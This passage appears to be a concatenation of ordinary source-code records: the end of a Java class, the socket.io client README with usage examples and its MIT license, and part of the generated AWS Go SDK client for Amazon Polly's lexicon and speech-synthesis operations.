{\n return new ConfigBean(habitat,this, dom, configModel, xmlStreamReader);\n }\n }\n\n /* \n * Decorate the habitat after parsing. This is called on the habitat\n * just after parsing of the XML file is complete.\n */\n public void decorate(ServiceLocator habitat) {} \n}\n"} {"text": "socket.io\n=========\n\n#### Sockets for the rest of us\n\nThe `socket.io` client is basically a simple HTTP Socket interface implementation.\nIt looks similar to WebSocket while providing additional features and\nleveraging other transports when WebSocket is not supported by the user's\nbrowser.\n\n```js\nvar socket = io.connect('http://domain.com');\nsocket.on('connect', function () {\n // socket connected\n});\nsocket.on('custom event', function () {\n // server emitted a custom event\n});\nsocket.on('disconnect', function () {\n // socket disconnected\n});\nsocket.send('hi there');\n```\n\n### Recipes\n\n#### Utilizing namespaces (ie: multiple sockets)\n\nIf you want to namespace all the messages and events emitted to a particular\nendpoint, simply specify it as part of the `connect` uri:\n\n```js\nvar chat = io.connect('http://localhost/chat');\nchat.on('connect', function () {\n // chat socket connected\n});\n\nvar news = io.connect('/news'); // io.connect auto-detects host\nnews.on('connect', function () {\n // news socket connected\n});\n```\n\n#### Emitting custom events\n\nTo ease with the creation of applications, you can emit custom events outside\nof the global `message` event.\n\n```js\nvar socket = io.connect();\nsocket.emit('server custom event', { my: 'data' });\n```\n\n#### Forcing disconnection\n\n```js\nvar socket = io.connect();\nsocket.on('connect', function () {\n socket.disconnect();\n});\n```\n\n### Documentation \n\n#### io#connect\n\n```js\nio.connect(uri, [options]);\n```\n\n##### Options:\n\n- *resource*\n\n socket.io\n\n The resource is what allows the `socket.io` server to identify incoming connections by `socket.io` clients. In other words, any HTTP server can implement socket.io and still serve other normal, non-realtime HTTP requests.\n\n- *transports*\n\n```js\n['websocket', 'flashsocket', 'htmlfile', 'xhr-multipart', 'xhr-polling', 'jsonp-polling']\n```\n\n A list of the transports to attempt to utilize (in order of preference).\n\n- *'connect timeout'*\n\n```js\n5000\n```\n\n The amount of milliseconds a transport has to create a connection before we consider it timed out.\n \n- *'try multiple transports'*\n\n```js\ntrue\n```\n\n A boolean indicating if we should try other transports when the connectTimeout occurs.\n \n- *reconnect*\n\n```js\ntrue\n```\n\n A boolean indicating if we should automatically reconnect if a connection is disconnected. \n \n- *'reconnection delay'*\n\n```js\n500\n```\n\n The amount of milliseconds before we try to connect to the server again. We are using a exponential back off algorithm for the following reconnections, on each reconnect attempt this value will get multiplied (500 > 1000 > 2000 > 4000 > 8000).\n \n\n- *'max reconnection attempts'*\n\n```js\n10\n```\n\n The amount of attempts should we make using the current transport to connect to the server? After this we will do one final attempt, and re-try with all enabled transport methods before we give up.\n\n##### Properties:\n\n- *options*\n\n The passed in options combined with the defaults.\n\n- *connected*\n\n Whether the socket is connected or not.\n \n- *connecting*\n\n Whether the socket is connecting or not.\n\n- *reconnecting*\n\n Whether we are reconnecting or not.\n \n- *transport* \n\n The transport instance.\n\n##### Methods:\n \n- *connect(λ)*\n\n Establishes a connection. If λ is supplied as argument, it will be called once the connection is established.\n \n- *send(message)*\n \n A string of data to send.\n \n- *disconnect*\n\n Closes the connection.\n \n- *on(event, λ)*\n\n Adds a listener for the event *event*.\n\n- *once(event, λ)*\n\n Adds a one time listener for the event *event*. The listener is removed after the first time the event is fired.\n \n- *removeListener(event, λ)*\n\n Removes the listener λ for the event *event*.\n \n##### Events:\n\n- *connect*\n\n Fired when the connection is established and the handshake successful.\n \n- *connecting(transport_type)*\n\n Fired when a connection is attempted, passing the transport name.\n \n- *connect_failed*\n\n Fired when the connection timeout occurs after the last connection attempt.\n This only fires if the `connectTimeout` option is set.\n If the `tryTransportsOnConnectTimeout` option is set, this only fires once all\n possible transports have been tried.\n \n- *message(message)*\n \n Fired when a message arrives from the server\n\n- *close*\n\n Fired when the connection is closed. Be careful with using this event, as some transports will fire it even under temporary, expected disconnections (such as XHR-Polling).\n \n- *disconnect*\n\n Fired when the connection is considered disconnected.\n \n- *reconnect(transport_type,reconnectionAttempts)*\n\n Fired when the connection has been re-established. This only fires if the `reconnect` option is set.\n\n- *reconnecting(reconnectionDelay,reconnectionAttempts)*\n\n Fired when a reconnection is attempted, passing the next delay for the next reconnection.\n\n- *reconnect_failed*\n\n Fired when all reconnection attempts have failed and we where unsuccessful in reconnecting to the server. \n\n### Contributors\n\nGuillermo Rauch &lt;guillermo@learnboost.com&gt;\n\nArnout Kazemier &lt;info@3rd-eden.com&gt;\n\n### License \n\n(The MIT License)\n\nCopyright (c) 2010 LearnBoost &lt;dev@learnboost.com&gt;\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n'Software'), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\nIN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\nCLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\nSOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"} {"text": "// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT.\n\npackage polly\n\nimport (\n\t\"io\"\n\t\"time\"\n\n\t\"github.com/aws/aws-sdk-go/aws\"\n\t\"github.com/aws/aws-sdk-go/aws/awsutil\"\n\t\"github.com/aws/aws-sdk-go/aws/request\"\n)\n\nconst opDeleteLexicon = \"DeleteLexicon\"\n\n// DeleteLexiconRequest generates a \"aws/request.Request\" representing the\n// client's request for the DeleteLexicon operation. The \"output\" return\n// value can be used to capture response data after the request's \"Send\" method\n// is called.\n//\n// See DeleteLexicon for usage and error information.\n//\n// Creating a request object using this method should be used when you want to inject\n// custom logic into the request's lifecycle using a custom handler, or if you want to\n// access properties on the request object before or after sending the request. If\n// you just want the service response, call the DeleteLexicon method directly\n// instead.\n//\n// Note: You must call the \"Send\" method on the returned request object in order\n// to execute the request.\n//\n// // Example sending a request using the DeleteLexiconRequest method.\n// req, resp := client.DeleteLexiconRequest(params)\n//\n// err := req.Send()\n// if err == nil { // resp is now filled\n// fmt.Println(resp)\n// }\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/DeleteLexicon\nfunc (c *Polly) DeleteLexiconRequest(input *DeleteLexiconInput) (req *request.Request, output *DeleteLexiconOutput) {\n\top := &request.Operation{\n\t\tName: opDeleteLexicon,\n\t\tHTTPMethod: \"DELETE\",\n\t\tHTTPPath: \"/v1/lexicons/{LexiconName}\",\n\t}\n\n\tif input == nil {\n\t\tinput = &DeleteLexiconInput{}\n\t}\n\n\toutput = &DeleteLexiconOutput{}\n\treq = c.newRequest(op, input, output)\n\treturn\n}\n\n// DeleteLexicon API operation for Amazon Polly.\n//\n// Deletes the specified pronunciation lexicon stored in an AWS Region. A lexicon\n// which has been deleted is not available for speech synthesis, nor is it possible\n// to retrieve it using either the GetLexicon or ListLexicon APIs.\n//\n// For more information, see Managing Lexicons (http://docs.aws.amazon.com/polly/latest/dg/managing-lexicons.html).\n//\n// Returns awserr.Error for service API and SDK errors. Use runtime type assertions\n// with awserr.Error's Code and Message methods to get detailed information about\n// the error.\n//\n// See the AWS API reference guide for Amazon Polly's\n// API operation DeleteLexicon for usage and error information.\n//\n// Returned Error Codes:\n// * ErrCodeLexiconNotFoundException \"LexiconNotFoundException\"\n// Amazon Polly can't find the specified lexicon. This could be caused by a\n// lexicon that is missing, its name is misspelled or specifying a lexicon that\n// is in a different region.\n//\n// Verify that the lexicon exists, is in the region (see ListLexicons) and that\n// you spelled its name is spelled correctly. Then try again.\n//\n// * ErrCodeServiceFailureException \"ServiceFailureException\"\n// An unknown condition has caused a service failure.\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/DeleteLexicon\nfunc (c *Polly) DeleteLexicon(input *DeleteLexiconInput) (*DeleteLexiconOutput, error) {\n\treq, out := c.DeleteLexiconRequest(input)\n\treturn out, req.Send()\n}\n\n// DeleteLexiconWithContext is the same as DeleteLexicon with the addition of\n// the ability to pass a context and additional request options.\n//\n// See DeleteLexicon for details on how to use this API operation.\n//\n// The context must be non-nil and will be used for request cancellation. If\n// the context is nil a panic will occur. In the future the SDK may create\n// sub-contexts for http.Requests. See https://golang.org/pkg/context/\n// for more information on using Contexts.\nfunc (c *Polly) DeleteLexiconWithContext(ctx aws.Context, input *DeleteLexiconInput, opts ...request.Option) (*DeleteLexiconOutput, error) {\n\treq, out := c.DeleteLexiconRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}\n\nconst opDescribeVoices = \"DescribeVoices\"\n\n// DescribeVoicesRequest generates a \"aws/request.Request\" representing the\n// client's request for the DescribeVoices operation. The \"output\" return\n// value can be used to capture response data after the request's \"Send\" method\n// is called.\n//\n// See DescribeVoices for usage and error information.\n//\n// Creating a request object using this method should be used when you want to inject\n// custom logic into the request's lifecycle using a custom handler, or if you want to\n// access properties on the request object before or after sending the request. If\n// you just want the service response, call the DescribeVoices method directly\n// instead.\n//\n// Note: You must call the \"Send\" method on the returned request object in order\n// to execute the request.\n//\n// // Example sending a request using the DescribeVoicesRequest method.\n// req, resp := client.DescribeVoicesRequest(params)\n//\n// err := req.Send()\n// if err == nil { // resp is now filled\n// fmt.Println(resp)\n// }\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/DescribeVoices\nfunc (c *Polly) DescribeVoicesRequest(input *DescribeVoicesInput) (req *request.Request, output *DescribeVoicesOutput) {\n\top := &request.Operation{\n\t\tName: opDescribeVoices,\n\t\tHTTPMethod: \"GET\",\n\t\tHTTPPath: \"/v1/voices\",\n\t}\n\n\tif input == nil {\n\t\tinput = &DescribeVoicesInput{}\n\t}\n\n\toutput = &DescribeVoicesOutput{}\n\treq = c.newRequest(op, input, output)\n\treturn\n}\n\n// DescribeVoices API operation for Amazon Polly.\n//\n// Returns the list of voices that are available for use when requesting speech\n// synthesis. Each voice speaks a specified language, is either male or female,\n// and is identified by an ID, which is the ASCII version of the voice name.\n//\n// When synthesizing speech ( SynthesizeSpeech ), you provide the voice ID for\n// the voice you want from the list of voices returned by DescribeVoices.\n//\n// For example, you want your news reader application to read news in a specific\n// language, but giving a user the option to choose the voice. Using the DescribeVoices\n// operation you can provide the user with a list of available voices to select\n// from.\n//\n// You can optionally specify a language code to filter the available voices.\n// For example, if you specify en-US, the operation returns a list of all available\n// US English voices.\n//\n// This operation requires permissions to perform the polly:DescribeVoices action.\n//\n// Returns awserr.Error for service API and SDK errors. Use runtime type assertions\n// with awserr.Error's Code and Message methods to get detailed information about\n// the error.\n//\n// See the AWS API reference guide for Amazon Polly's\n// API operation DescribeVoices for usage and error information.\n//\n// Returned Error Codes:\n// * ErrCodeInvalidNextTokenException \"InvalidNextTokenException\"\n// The NextToken is invalid. Verify that it's spelled correctly, and then try\n// again.\n//\n// * ErrCodeServiceFailureException \"ServiceFailureException\"\n// An unknown condition has caused a service failure.\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/DescribeVoices\nfunc (c *Polly) DescribeVoices(input *DescribeVoicesInput) (*DescribeVoicesOutput, error) {\n\treq, out := c.DescribeVoicesRequest(input)\n\treturn out, req.Send()\n}\n\n// DescribeVoicesWithContext is the same as DescribeVoices with the addition of\n// the ability to pass a context and additional request options.\n//\n// See DescribeVoices for details on how to use this API operation.\n//\n// The context must be non-nil and will be used for request cancellation. If\n// the context is nil a panic will occur. In the future the SDK may create\n// sub-contexts for http.Requests. See https://golang.org/pkg/context/\n// for more information on using Contexts.\nfunc (c *Polly) DescribeVoicesWithContext(ctx aws.Context, input *DescribeVoicesInput, opts ...request.Option) (*DescribeVoicesOutput, error) {\n\treq, out := c.DescribeVoicesRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}\n\nconst opGetLexicon = \"GetLexicon\"\n\n// GetLexiconRequest generates a \"aws/request.Request\" representing the\n// client's request for the GetLexicon operation. The \"output\" return\n// value can be used to capture response data after the request's \"Send\" method\n// is called.\n//\n// See GetLexicon for usage and error information.\n//\n// Creating a request object using this method should be used when you want to inject\n// custom logic into the request's lifecycle using a custom handler, or if you want to\n// access properties on the request object before or after sending the request. If\n// you just want the service response, call the GetLexicon method directly\n// instead.\n//\n// Note: You must call the \"Send\" method on the returned request object in order\n// to execute the request.\n//\n// // Example sending a request using the GetLexiconRequest method.\n// req, resp := client.GetLexiconRequest(params)\n//\n// err := req.Send()\n// if err == nil { // resp is now filled\n// fmt.Println(resp)\n// }\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/GetLexicon\nfunc (c *Polly) GetLexiconRequest(input *GetLexiconInput) (req *request.Request, output *GetLexiconOutput) {\n\top := &request.Operation{\n\t\tName: opGetLexicon,\n\t\tHTTPMethod: \"GET\",\n\t\tHTTPPath: \"/v1/lexicons/{LexiconName}\",\n\t}\n\n\tif input == nil {\n\t\tinput = &GetLexiconInput{}\n\t}\n\n\toutput = &GetLexiconOutput{}\n\treq = c.newRequest(op, input, output)\n\treturn\n}\n\n// GetLexicon API operation for Amazon Polly.\n//\n// Returns the content of the specified pronunciation lexicon stored in an AWS\n// Region. For more information, see Managing Lexicons (http://docs.aws.amazon.com/polly/latest/dg/managing-lexicons.html).\n//\n// Returns awserr.Error for service API and SDK errors. Use runtime type assertions\n// with awserr.Error's Code and Message methods to get detailed information about\n// the error.\n//\n// See the AWS API reference guide for Amazon Polly's\n// API operation GetLexicon for usage and error information.\n//\n// Returned Error Codes:\n// * ErrCodeLexiconNotFoundException \"LexiconNotFoundException\"\n// Amazon Polly can't find the specified lexicon. This could be caused by a\n// lexicon that is missing, its name is misspelled or specifying a lexicon that\n// is in a different region.\n//\n// Verify that the lexicon exists, is in the region (see ListLexicons) and that\n// you spelled its name is spelled correctly. Then try again.\n//\n// * ErrCodeServiceFailureException \"ServiceFailureException\"\n// An unknown condition has caused a service failure.\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/GetLexicon\nfunc (c *Polly) GetLexicon(input *GetLexiconInput) (*GetLexiconOutput, error) {\n\treq, out := c.GetLexiconRequest(input)\n\treturn out, req.Send()\n}\n\n// GetLexiconWithContext is the same as GetLexicon with the addition of\n// the ability to pass a context and additional request options.\n//\n// See GetLexicon for details on how to use this API operation.\n//\n// The context must be non-nil and will be used for request cancellation. If\n// the context is nil a panic will occur. In the future the SDK may create\n// sub-contexts for http.Requests. See https://golang.org/pkg/context/\n// for more information on using Contexts.\nfunc (c *Polly) GetLexiconWithContext(ctx aws.Context, input *GetLexiconInput, opts ...request.Option) (*GetLexiconOutput, error) {\n\treq, out := c.GetLexiconRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}\n\nconst opListLexicons = \"ListLexicons\"\n\n// ListLexiconsRequest generates a \"aws/request.Request\" representing the\n// client's request for the ListLexicons operation. The \"output\" return\n// value can be used to capture response data after the request's \"Send\" method\n// is called.\n//\n// See ListLexicons for usage and error information.\n//\n// Creating a request object using this method should be used when you want to inject\n// custom logic into the request's lifecycle using a custom handler, or if you want to\n// access properties on the request object before or after sending the request. If\n// you just want the service response, call the ListLexicons method directly\n// instead.\n//\n// Note: You must call the \"Send\" method on the returned request object in order\n// to execute the request.\n//\n// // Example sending a request using the ListLexiconsRequest method.\n// req, resp := client.ListLexiconsRequest(params)\n//\n// err := req.Send()\n// if err == nil { // resp is now filled\n// fmt.Println(resp)\n// }\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/ListLexicons\nfunc (c *Polly) ListLexiconsRequest(input *ListLexiconsInput) (req *request.Request, output *ListLexiconsOutput) {\n\top := &request.Operation{\n\t\tName: opListLexicons,\n\t\tHTTPMethod: \"GET\",\n\t\tHTTPPath: \"/v1/lexicons\",\n\t}\n\n\tif input == nil {\n\t\tinput = &ListLexiconsInput{}\n\t}\n\n\toutput = &ListLexiconsOutput{}\n\treq = c.newRequest(op, input, output)\n\treturn\n}\n\n// ListLexicons API operation for Amazon Polly.\n//\n// Returns a list of pronunciation lexicons stored in an AWS Region. For more\n// information, see Managing Lexicons (http://docs.aws.amazon.com/polly/latest/dg/managing-lexicons.html).\n//\n// Returns awserr.Error for service API and SDK errors. Use runtime type assertions\n// with awserr.Error's Code and Message methods to get detailed information about\n// the error.\n//\n// See the AWS API reference guide for Amazon Polly's\n// API operation ListLexicons for usage and error information.\n//\n// Returned Error Codes:\n// * ErrCodeInvalidNextTokenException \"InvalidNextTokenException\"\n// The NextToken is invalid. Verify that it's spelled correctly, and then try\n// again.\n//\n// * ErrCodeServiceFailureException \"ServiceFailureException\"\n// An unknown condition has caused a service failure.\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/ListLexicons\nfunc (c *Polly) ListLexicons(input *ListLexiconsInput) (*ListLexiconsOutput, error) {\n\treq, out := c.ListLexiconsRequest(input)\n\treturn out, req.Send()\n}\n\n// ListLexiconsWithContext is the same as ListLexicons with the addition of\n// the ability to pass a context and additional request options.\n//\n// See ListLexicons for details on how to use this API operation.\n//\n// The context must be non-nil and will be used for request cancellation. If\n// the context is nil a panic will occur. In the future the SDK may create\n// sub-contexts for http.Requests. See https://golang.org/pkg/context/\n// for more information on using Contexts.\nfunc (c *Polly) ListLexiconsWithContext(ctx aws.Context, input *ListLexiconsInput, opts ...request.Option) (*ListLexiconsOutput, error) {\n\treq, out := c.ListLexiconsRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}\n\nconst opPutLexicon = \"PutLexicon\"\n\n// PutLexiconRequest generates a \"aws/request.Request\" representing the\n// client's request for the PutLexicon operation. The \"output\" return\n// value can be used to capture response data after the request's \"Send\" method\n// is called.\n//\n// See PutLexicon for usage and error information.\n//\n// Creating a request object using this method should be used when you want to inject\n// custom logic into the request's lifecycle using a custom handler, or if you want to\n// access properties on the request object before or after sending the request. If\n// you just want the service response, call the PutLexicon method directly\n// instead.\n//\n// Note: You must call the \"Send\" method on the returned request object in order\n// to execute the request.\n//\n// // Example sending a request using the PutLexiconRequest method.\n// req, resp := client.PutLexiconRequest(params)\n//\n// err := req.Send()\n// if err == nil { // resp is now filled\n// fmt.Println(resp)\n// }\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/PutLexicon\nfunc (c *Polly) PutLexiconRequest(input *PutLexiconInput) (req *request.Request, output *PutLexiconOutput) {\n\top := &request.Operation{\n\t\tName: opPutLexicon,\n\t\tHTTPMethod: \"PUT\",\n\t\tHTTPPath: \"/v1/lexicons/{LexiconName}\",\n\t}\n\n\tif input == nil {\n\t\tinput = &PutLexiconInput{}\n\t}\n\n\toutput = &PutLexiconOutput{}\n\treq = c.newRequest(op, input, output)\n\treturn\n}\n\n// PutLexicon API operation for Amazon Polly.\n//\n// Stores a pronunciation lexicon in an AWS Region. If a lexicon with the same\n// name already exists in the region, it is overwritten by the new lexicon.\n// Lexicon operations have eventual consistency, therefore, it might take some\n// time before the lexicon is available to the SynthesizeSpeech operation.\n//\n// For more information, see Managing Lexicons (http://docs.aws.amazon.com/polly/latest/dg/managing-lexicons.html).\n//\n// Returns awserr.Error for service API and SDK errors. Use runtime type assertions\n// with awserr.Error's Code and Message methods to get detailed information about\n// the error.\n//\n// See the AWS API reference guide for Amazon Polly's\n// API operation PutLexicon for usage and error information.\n//\n// Returned Error Codes:\n// * ErrCodeInvalidLexiconException \"InvalidLexiconException\"\n// Amazon Polly can't find the specified lexicon. Verify that the lexicon's\n// name is spelled correctly, and then try again.\n//\n// * ErrCodeUnsupportedPlsAlphabetException \"UnsupportedPlsAlphabetException\"\n// The alphabet specified by the lexicon is not a supported alphabet. Valid\n// values are x-sampa and ipa.\n//\n// * ErrCodeUnsupportedPlsLanguageException \"UnsupportedPlsLanguageException\"\n// The language specified in the lexicon is unsupported. For a list of supported\n// languages, see Lexicon Attributes (http://docs.aws.amazon.com/polly/latest/dg/API_LexiconAttributes.html).\n//\n// * ErrCodeLexiconSizeExceededException \"LexiconSizeExceededException\"\n// The maximum size of the specified lexicon would be exceeded by this operation.\n//\n// * ErrCodeMaxLexemeLengthExceededException \"MaxLexemeLengthExceededException\"\n// The maximum size of the lexeme would be exceeded by this operation.\n//\n// * ErrCodeMaxLexiconsNumberExceededException \"MaxLexiconsNumberExceededException\"\n// The maximum number of lexicons would be exceeded by this operation.\n//\n// * ErrCodeServiceFailureException \"ServiceFailureException\"\n// An unknown condition has caused a service failure.\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/PutLexicon\nfunc (c *Polly) PutLexicon(input *PutLexiconInput) (*PutLexiconOutput, error) {\n\treq, out := c.PutLexiconRequest(input)\n\treturn out, req.Send()\n}\n\n// PutLexiconWithContext is the same as PutLexicon with the addition of\n// the ability to pass a context and additional request options.\n//\n// See PutLexicon for details on how to use this API operation.\n//\n// The context must be non-nil and will be used for request cancellation. If\n// the context is nil a panic will occur. In the future the SDK may create\n// sub-contexts for http.Requests. See https://golang.org/pkg/context/\n// for more information on using Contexts.\nfunc (c *Polly) PutLexiconWithContext(ctx aws.Context, input *PutLexiconInput, opts ...request.Option) (*PutLexiconOutput, error) {\n\treq, out := c.PutLexiconRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}\n\nconst opSynthesizeSpeech = \"SynthesizeSpeech\"\n\n// SynthesizeSpeechRequest generates a \"aws/request.Request\" representing the\n// client's request for the SynthesizeSpeech operation. The \"output\" return\n// value can be used to capture response data after the request's \"Send\" method\n// is called.\n//\n// See SynthesizeSpeech for usage and error information.\n//\n// Creating a request object using this method should be used when you want to inject\n// custom logic into the request's lifecycle using a custom handler, or if you want to\n// access properties on the request object before or after sending the request. If\n// you just want the service response, call the SynthesizeSpeech method directly\n// instead.\n//\n// Note: You must call the \"Send\" method on the returned request object in order\n// to execute the request.\n//\n// // Example sending a request using the SynthesizeSpeechRequest method.\n// req, resp := client.SynthesizeSpeechRequest(params)\n//\n// err := req.Send()\n// if err == nil { // resp is now filled\n// fmt.Println(resp)\n// }\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/SynthesizeSpeech\nfunc (c *Polly) SynthesizeSpeechRequest(input *SynthesizeSpeechInput) (req *request.Request, output *SynthesizeSpeechOutput) {\n\top := &request.Operation{\n\t\tName: opSynthesizeSpeech,\n\t\tHTTPMethod: \"POST\",\n\t\tHTTPPath: \"/v1/speech\",\n\t}\n\n\tif input == nil {\n\t\tinput = &SynthesizeSpeechInput{}\n\t}\n\n\toutput = &SynthesizeSpeechOutput{}\n\treq = c.newRequest(op, input, output)\n\treturn\n}\n\n// SynthesizeSpeech API operation for Amazon Polly.\n//\n// Synthesizes UTF-8 input, plain text or SSML, to a stream of bytes. SSML input\n// must be valid, well-formed SSML. Some alphabets might not be available with\n// all the voices (for example, Cyrillic might not be read at all by English\n// voices) unless phoneme mapping is used. For more information, see How it\n// Works (http://docs.aws.amazon.com/polly/latest/dg/how-text-to-speech-works.html).\n//\n// Returns awserr.Error for service API and SDK errors. Use runtime type assertions\n// with awserr.Error's Code and Message methods to get detailed information about\n// the error.\n//\n// See the AWS API reference guide for Amazon Polly's\n// API operation SynthesizeSpeech for usage and error information.\n//\n// Returned Error Codes:\n// * ErrCodeTextLengthExceededException \"TextLengthExceededException\"\n// The value of the \"Text\" parameter is longer than the accepted limits. The\n// limit for input text is a maximum of 3000 characters total, of which no more\n// than 1500 can be billed characters. SSML tags are not counted as billed characters.\n//\n// * ErrCodeInvalidSampleRateException \"InvalidSampleRateException\"\n// The specified sample rate is not valid.\n//\n// * ErrCodeInvalidSsmlException \"InvalidSsmlException\"\n// The SSML you provided is invalid. Verify the SSML syntax, spelling of tags\n// and values, and then try again.\n//\n// * ErrCodeLexiconNotFoundException \"LexiconNotFoundException\"\n// Amazon Polly can't find the specified lexicon. This could be caused by a\n// lexicon that is missing, its name is misspelled or specifying a lexicon that\n// is in a different region.\n//\n// Verify that the lexicon exists, is in the region (see ListLexicons) and that\n// you spelled its name is spelled correctly. Then try again.\n//\n// * ErrCodeServiceFailureException \"ServiceFailureException\"\n// An unknown condition has caused a service failure.\n//\n// * ErrCodeMarksNotSupportedForFormatException \"MarksNotSupportedForFormatException\"\n// Speech marks are not supported for the OutputFormat selected. Speech marks\n// are only available for content in json format.\n//\n// * ErrCodeSsmlMarksNotSupportedForTextTypeException \"SsmlMarksNotSupportedForTextTypeException\"\n// SSML speech marks are not supported for plain text-type input.\n//\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/SynthesizeSpeech\nfunc (c *Polly) SynthesizeSpeech(input *SynthesizeSpeechInput) (*SynthesizeSpeechOutput, error) {\n\treq, out := c.SynthesizeSpeechRequest(input)\n\treturn out, req.Send()\n}\n\n// SynthesizeSpeechWithContext is the same as SynthesizeSpeech with the addition of\n// the ability to pass a context and additional request options.\n//\n// See SynthesizeSpeech for details on how to use this API operation.\n//\n// The context must be non-nil and will be used for request cancellation. If\n// the context is nil a panic will occur. In the future the SDK may create\n// sub-contexts for http.Requests. See https://golang.org/pkg/context/\n// for more information on using Contexts.\nfunc (c *Polly) SynthesizeSpeechWithContext(ctx aws.Context, input *SynthesizeSpeechInput, opts ...request.Option) (*SynthesizeSpeechOutput, error) {\n\treq, out := c.SynthesizeSpeechRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/DeleteLexiconInput\ntype DeleteLexiconInput struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// The name of the lexicon to delete. Must be an existing lexicon in the region.\n\t//\n\t// Name is a required field\n\tName *string `location:\"uri\" locationName:\"LexiconName\" type:\"string\" required:\"true\"`\n}\n\n// String returns the string representation\nfunc (s DeleteLexiconInput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s DeleteLexiconInput) GoString() string {\n\treturn s.String()\n}\n\n// Validate inspects the fields of the type to determine if they are valid.\nfunc (s *DeleteLexiconInput) Validate() error {\n\tinvalidParams := request.ErrInvalidParams{Context: \"DeleteLexiconInput\"}\n\tif s.Name == nil {\n\t\tinvalidParams.Add(request.NewErrParamRequired(\"Name\"))\n\t}\n\n\tif invalidParams.Len() > 0 {\n\t\treturn invalidParams\n\t}\n\treturn nil\n}\n\n// SetName sets the Name field's value.\nfunc (s *DeleteLexiconInput) SetName(v string) *DeleteLexiconInput {\n\ts.Name = &v\n\treturn s\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/DeleteLexiconOutput\ntype DeleteLexiconOutput struct {\n\t_ struct{} `type:\"structure\"`\n}\n\n// String returns the string representation\nfunc (s DeleteLexiconOutput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s DeleteLexiconOutput) GoString() string {\n\treturn s.String()\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/DescribeVoicesInput\ntype DescribeVoicesInput struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// The language identification tag (ISO 639 code for the language name-ISO 3166\n\t// country code) for filtering the list of voices returned. If you don't specify\n\t// this optional parameter, all available voices are returned.\n\tLanguageCode *string `location:\"querystring\" locationName:\"LanguageCode\" type:\"string\" enum:\"LanguageCode\"`\n\n\t// An opaque pagination token returned from the previous DescribeVoices operation.\n\t// If present, this indicates where to continue the listing.\n\tNextToken *string `location:\"querystring\" locationName:\"NextToken\" type:\"string\"`\n}\n\n// String returns the string representation\nfunc (s DescribeVoicesInput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s DescribeVoicesInput) GoString() string {\n\treturn s.String()\n}\n\n// SetLanguageCode sets the LanguageCode field's value.\nfunc (s *DescribeVoicesInput) SetLanguageCode(v string) *DescribeVoicesInput {\n\ts.LanguageCode = &v\n\treturn s\n}\n\n// SetNextToken sets the NextToken field's value.\nfunc (s *DescribeVoicesInput) SetNextToken(v string) *DescribeVoicesInput {\n\ts.NextToken = &v\n\treturn s\n}\n\n// Please also see https://docs.aws.amazon.com/goto/WebAPI/polly-2016-06-10/DescribeVoicesOutput\ntype DescribeVoicesOutput struct {\n\t_ struct{} `type:\"structure\"`\n\n\t// The pagination token to use in the next request to continue the listing of\n\t// voices. NextToken is returned only if the response is truncated.\n\tNextToken *string `type:\"string\"`\n\n\t// A list of voices with their properties.\n\tVoices []*Voice `type:\"list\"`\n}\n\n// String returns the string representation\nfunc (s DescribeVoicesOutput) String() string {\n\treturn awsutil.Prettify(s)\n}\n\n// GoString returns the string representation\nfunc (s DescribeVoicesOutput) GoString() string {\n\treturn s.String()\n}\n\n// SetNextToken sets the NextToken field's value.\nfunc (s *DescribeVoicesOutput) SetNextToken(v string) *DescribeVoicesOutput {\n\ts.NextToken = &v\n\treturn s\n}\n\n// SetVoices sets the Voices field's value.\nfunc (s *DescribeVoicesOutput) SetVoices(v []*Voice) *DescribeVoicesOutput 